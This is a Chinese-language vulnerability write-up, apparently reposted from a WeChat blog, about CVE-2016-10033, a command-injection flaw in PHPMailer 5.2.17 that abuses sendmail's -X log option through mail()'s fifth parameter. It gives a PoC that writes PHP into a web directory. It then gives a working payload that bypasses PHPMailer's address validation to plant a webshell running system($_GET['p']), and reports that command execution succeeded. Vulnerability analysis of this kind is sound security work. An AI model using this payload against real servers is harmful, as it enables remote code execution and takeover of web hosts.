漏洞出来两天仍然没找到什么分析,就自己看了下。
本文首先介绍mail函数造成RCE的原理,然后分析PHPMailer源码并给出通用exp.
Exploit php mail()
其中第五个参数additional_parameters
可以接受shell参数,描述如下:
additional_parameters (optional) The additional_parameters parameter can be used to pass an additional parameter to the program configured to use when sending mail using the sendmail_path configuration setting. For example, this can be used to set the envelope sender address when using sendmail with the -f sendmail option.
我们通过man sendmail
可以查看该位置支持的shell参数,其中-X
参数可以将邮件内容写入指定日志文件:
-X logfile Log all traffic in and out of mailers in the indicated log file. This should only be used as a last resort for debugging mailer bugs. It will log a lot of data very quickly.
这样一来,如果mail()第五个参数可控,我们就可以利用-X
参数将含有邮件内容的日志写入到web路径中完成RCE。
PoC
模拟通过mail函数的第五个参数上传webshell的过程:
<?php $message = '<?php phpinfo();?>'; mail('[email protected]','subject',$message,NULL,'-X /var/www/html/test/shell.php'); ?>
执行之后,php代码写入日志文件
完成RCE
注:-X
参数写文件是追加模式,利用时应注意
PHPMailer源码分析
patch
接下来用这个官方用例走一遍流程
用户可控输入($address
)首先在$mail->setFrom()
进行第一次检验
检验通过后,存入$this->Sender
用例末尾的send函数调用链:$mail->send()
-> $this->postSend()
-> $this->mailSend()
之前可控的$this->Sender
被处理之后带入$this->mailPassthru()
最终进入mail()第五个参数触发RCE
$result = @mail($to, $subject, $body, $header, $params);
Exploit
整个流程中最值得关心的是如何绕过$this->validateAddress()
这个函数在默认情况下,会根据php环境自动选择过滤方案
其规则为:
-
检测到PCRE环境,使用正则;
-
无PCRE,使用filter_var;
return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
3. 无PCRE且版本低于5.2.0,长度>3且包含@
就可以
return (strlen($address) >= 3 and strpos($address, '@') >= 1 and strpos($address, '@') != strlen($address) - 1);
因此我们绕过该函数的思路:
-
用户重写或者手动指定了检验方法为
noregex
-
无PCRE且php版本低于5.2.0
-
绕正则
其中第二条也就是这个 发布在exploit.db的PoC 的条件。
如果这样就结束了,攻击面非常有限,于是选择正面刚一波这个正则。
经过简单分析和一番激烈的fuzz之后,发现了一种成功引入空格的方法
"". -X/a.php @xxx
最终的payload如下:
"<?php system($_GET['p']);?>". -X/var/www/html/final.php @xxx
这里仅使用了一个setForm()的可控点,无需配合其他输入即可完成webshell上传,当然具体还要看框架怎么用。
PoC
mail.php
可以看到php代码(图中高亮处)已经被写入文件
执行id
命令,输出结果在下图高亮处
大规模利用仍需结合框架分析,WordPress针对该漏洞已发Patch,持续关注
ref
-
http://thehackernews.com/2016/12/phpmailer-security.html
-
https://github.com/PHPMailer/PHPMailer
-
https://www.exploit-db.com/exploits/40968/
-
https://www.saotn.org/exploit-phps-mail-get-remote-code-execution/
今早写稿时又看到了其他两种不同的exp,因为文章都是公开的就直接发截图了。
排版和复制代码请戳原文链接。
原文始发于微信公众号(乐枕迭代日志):[CVE-2016-10033] PHPMailer 5.2.17 命令执行漏洞分析与利用
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论